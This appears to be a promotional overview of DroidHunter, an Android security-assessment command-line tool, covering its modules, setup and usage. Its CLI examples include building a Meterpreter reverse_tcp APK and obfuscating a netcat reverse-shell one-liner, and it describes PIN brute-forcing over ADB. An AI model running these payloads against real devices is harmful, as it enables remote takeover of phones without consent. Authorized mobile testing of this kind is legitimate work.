Most mobile security assessments still suffer from a broken, fragmented workflow. An engineer spends half their engagement context-switching between standalone ADB shells, one-off decompilation scripts, network proxies, and separate exploitation utilities. DroidHunter, developed by the HexSec Team, addresses this exact operational bottleneck by pulling the entire Android assessment lifecycle into a single, cohesive command-line engine.

The Architecture: Consolidating the Android Attack Surface

Instead of treating APK decomposition, device communication, and vulnerability mapping as isolated tasks, DroidHunter integrates these workflows into dedicated functional modules.

Module	Core Functionality & Systems Logic
Device Manager	Handles low-level device enumeration, metadata extraction, automated and manual ADB over Wi-Fi handshakes, live screenshot captures, logcat streaming, and bidirectional host-to-device file transfers.
APK Analyzer	Executes static analysis across application binaries. Deconstructs manifests, identifies over-permissioning, extracts embedded secrets (API keys, hardcoded credentials), surfaces exported components, calculates file hashes, detects obfuscation, parses native libraries, and evaluates weak configurations such as the debuggable flag or insecure network settings.
Network Scanner	Performs rapid port scans, Wi-Fi environment mapping, subnet discovery routines, and provides guided pathways for setting up Man-in-the-Middle (MitM) inspection.
Vulnerability Scanner	Correlates SDK levels against a catalog of 30+ known CVEs (including Stagefright, BlueBorne, StrandHogg, and BlueFrag). Detects root artifacts (su binary, Magisk, SuperSU), inspects Frida footprints, audits insecure local storage implementations, parses WebView surfaces, and checks for StrandHogg task hijacking vectors.
Exploit Engine	Validates exposed attack surfaces by launching exported activities directly, triggering raw broadcast intents, querying content providers, fuzzing over 20 deep link schema paths, running PIN brute-force routines via ADB keyevents, extracting SQLite databases, handling reverse ADB drops, and offering Frida/Objection injection workflows.
Payload Generator	Generates Meterpreter reverse TCP and HTTPS APK binaries via msfvenom, formats reverse shell one-liners across six runtimes (nc, bash, python3, perl, socat), provides ADB exploitation scripts, and applies Base64 or Hex encoding schemes.
Report Generator	Aggregates findings into dark-mode Glassmorphism HTML dashboards with CVE mappings and remediation guidelines, exports structured JSON for CI/CD pipelines, and outputs severity-ranked CLI summary tables.
Remote Control	Bridges screen rendering directly to the terminal environment via embedded scrcpy orchestration.

Environment Setup and Dependencies

DroidHunter relies on standard Unix tooling alongside specialized binary hooks. The environment can be provisioned in minutes:

bash
# 1. Clone repository
git clone https://github.com/hexsecteam/DroidHunter.git
cd DroidHunter

# 2. Configure isolated runtime
python -m venv venv
source venv/bin/activate

# 3. Resolve Python package requirements
pip3 install -r requirements.txt

# 4. (Optional) Install platform debugging binaries
# Debian / Ubuntu
sudo apt install adb scrcpy
# Arch Linux
# sudo pacman -S android-tools scrcpy

Optional dependencies can be layered depending on the operational scope: Metasploit for artifact generation, Frida for dynamic runtime instrumentation, and mitmproxy for network traffic routing.

Operational Modes: Interactive vs. Scriptable CLI

DroidHunter supports two distinct interaction models: an interactive menu powered by rich for exploratory auditing, and a flags-driven CLI interface built for integration into automation pipelines.

1. Interactive Execution

bash
python3 droidhunter.py
# or explicitly:
python3 droidhunter.py --interactive

The interactive terminal interface enables direct control over device state, including automatic ADB over Wi-Fi pairing (requiring initial USB debugging authorization on the shared local network) and on-demand scrcpy display mirroring.

2. Deterministic CLI Automation

For automated vulnerability scanning, pipeline execution, or targeted testing, specific module flags can be chained directly:

bash
# Enumerate target hardware attached to the host
python3 droidhunter.py --devices

# Run static decomposition on an APK and compile an HTML assessment report
python3 droidhunter.py --apk target.apk --report html --target-name "com.example.app"

# Execute local network port scanning against an active target
python3 droidhunter.py --device ABC123 --port-scan

# Execute vulnerability and integrity audits against a target package
python3 droidhunter.py --device ABC123 --vuln-scan --pkg com.example.app

# Cross-reference target platform SDK level with known CVE indexes
python3 droidhunter.py --device ABC123 --cve-check

# Audit root evasion and root binary signatures on the hardware
python3 droidhunter.py --device ABC123 --root-check

# Intercept and verify exported application interfaces
python3 droidhunter.py --device ABC123 --exploit activity \
  --pkg com.example.app --activity com.example.app.DebugActivity

# Execute parameterized deep link fuzzing routines
python3 droidhunter.py --device ABC123 --exploit deep-link \
  --pkg com.example.app --scheme myapp

# Build standalone APK test payloads
python3 droidhunter.py --payload reverse_tcp \
  --lhost 192.168.1.100 --lport 4444 --payload-out evil.apk

# Obfuscate execution strings via Base64 transformations
python3 droidhunter.py --payload obfuscate \
  --raw-payload "busybox nc 10.0.0.1 4444 -e /system/bin/sh" \
  --obfuscate-method base64

Reporting Pipeline

Once assessment checks complete, DroidHunter structures the telemetry into three consumption layers:

1. Glassmorphism HTML Dashboards: Visual reports containing vulnerability breakdowns, risk tags, CVE cross-links, and actionable remediation engineering steps.
2. Machine-Readable JSON: Fully serialized datasets designed for ingestion into downstream SIEMs, internal dashboards, or automated verification pipelines.
3. Structured CLI Outputs: In-terminal summary tables ordered strictly by threat severity, from CRITICAL down to LOW.

Operational Requirements

Component	Technical Role
Python 3.8+	Core runtime platform
rich	Terminal UI layout and data table formatting
requests	Network reachability and remote endpoint validation
ADB (Optional)	Low-level bridge for daemon commands and keyevent injection
scrcpy (Optional)	Real-time Android display rendering pipeline
Metasploit (Optional)	Engine for dynamic APK payload construction
Frida (Optional)	Target process hooking and runtime inspection
mitmproxy (Optional)	Upstream HTTP/S traffic interception framework

Compliance and Ethics

DroidHunter is engineered strictly for authorized security assessments, institutional research, and defensive validation. Executing offensive tooling against systems without explicit, documented authorization is a violation of industry ethics and law. Assessment engineers are responsible for operating within defined scopes of engagement.

Project Support & Resources

Project source code and documentation are maintained on the official repository:

• GitHub: https://github.com/hexsecteam/DroidHunter

For research support, contributions can be routed via USDT on the Ethereum network (ERC-20 only):

• Address: 0x3E79B73e3ce33c6B860425DCB40c6D2f4F2aC508